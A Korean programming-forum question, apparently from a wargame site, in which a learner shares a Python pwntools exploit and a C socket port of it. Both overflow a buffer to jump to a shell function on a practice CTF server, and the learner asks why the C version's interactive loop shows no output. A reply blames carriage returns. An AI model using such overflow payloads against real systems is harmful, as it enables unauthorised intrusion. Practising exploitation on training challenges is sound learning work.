같은 익스 코드를 C로 작성했는데 interactive 부분이 왜 동작하지 않는지 모르겠습니다.

문제를 풀었고 아래처럼 python으로 익스 코드를 작성했습니다.

from pwn import *

if __name__ == '__main__':
	context.log_level = 'debug'

	payload = b'A' * 0x30 + b'B' * 0x8 + b'\xAA\x06\x40\x00\x00\x00\x00\x00'
	rmt = remote('host3.dreamhack.games', 16605)

	rmt.send(payload)
	rmt.interactive()

잘 동작하는 것을 확인했고, 이를 C언어로도 풀어보고 싶어서 아래처럼 작성했습니다.

#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <stdio.h>
#include <time.h>

#define HOST_NAME "host3.dreamhack.games"
#define PORT_ADDR 12920

void exit_with_error(char * message) {
	fputs(message, stderr);
	fputc('\n', stderr);
	exit(1);
}

void print_bytes(uint8_t * bytes, size_t length) {
	for (int i = 0; i < length; i++) {
		printf("%02X ", bytes[i]);

		if ((i + 1) % 16 == 0) {
			puts("");
			continue;
		}
	}

	if (length % 16 != 0) {
		puts("");
	}

	puts("");
}

void * recv_thread(void * arg) {
	int sock = *(int *)arg;

	char buffer[100] = {};
	ssize_t recv_bytes;

	while (1) {
		recv_bytes = recv(sock, buffer, 100, 0);

		if (recv_bytes <= 0) {
			break;
		}

		printf("%s\n", buffer);
	}

	pthread_exit(NULL);
}

int main(void) {
	int                sock;
	struct hostent     * host;
	struct sockaddr_in serv_addr;
	pthread_t          recv_thread_id;

	uint64_t binsh_addr = 0x4006AA;

	char buffer[100] = {};
	char payload[0x40] = {};

	memset(payload, 'A', 0x30 + 8);
	memmove(payload + 0x30 + 8, &binsh_addr, sizeof binsh_addr);

	if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
		exit_with_error("socket() error");
	}

	if (!(host = gethostbyname(HOST_NAME))) {
		exit_with_error("gethostbyname() error");
	}

	unsigned long ip_addr = (*(struct in_addr **)host->h_addr_list)->s_addr;

	memset(&serv_addr, 0, sizeof serv_addr);

	serv_addr.sin_family      = AF_INET;
	serv_addr.sin_addr.s_addr = ip_addr;
	serv_addr.sin_port        = htons(PORT_ADDR);

	if (connect(sock, (struct sockaddr *)&serv_addr, sizeof serv_addr) == -1) {
		exit_with_error("connect() error");
	}

	recv(sock, buffer, sizeof buffer, 0);
	print_bytes(buffer, sizeof buffer);
	memset(buffer, 0, sizeof buffer);

	ssize_t timer = 1024;

	if (send(sock, payload, sizeof payload, 0) == -1) {
		exit_with_error("write error");
	}

	print_bytes(payload, sizeof payload);	

	pthread_create(&recv_thread_id, NULL, recv_thread, (void *)&sock);

	puts("ineractive >>");

	while (1) {
		printf("$ ");
		memset(buffer, 0, sizeof buffer);
		fgets(buffer, sizeof buffer - 1, stdin);

		if (!strcmp(buffer, "exit\n")) {
			break;
		}

		print_bytes(buffer, sizeof buffer);

		int send_bytes = send(sock, buffer, strlen(buffer), 0);

		if (send_bytes == -1) {
			printf("send failed");
			break;
		}
	}

	pthread_join(recv_thread_id, NULL);

	close(sock);

	return 0;
}

interactive로 작성한 부분이 pthread_create부터입니다. 해당 코드 전까지는 입력도 잘 받고 출력도 잘 되지만, interactive부분부터 입력을 서버로 주면 출력을 받질 못합니다. 중간중간 디버깅 코드도 넣어서 돌려봤지만 잘 동작하지 않는 이유를 잘 모르겠습니다.

쉘코드와 함께 나오는 shell_basic 문제는 C언어만으로 해결했습니다.

#python #c #exploit_code
작성자 정보
답변 1

아마도 캐리지 리턴('\r', 아스키코드 0x0d)때문일 겁니다 캐리지 리턴을 printf 등으로 출력하면 이전에 출력한 문장을 덮어쓰기 때문에 제데로 출력이 되질 않습니다. 캐리지리턴을 newline('\n',0x0a)로 바꿔보면 될거 같습니다.

2024.04.30. 15:06
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기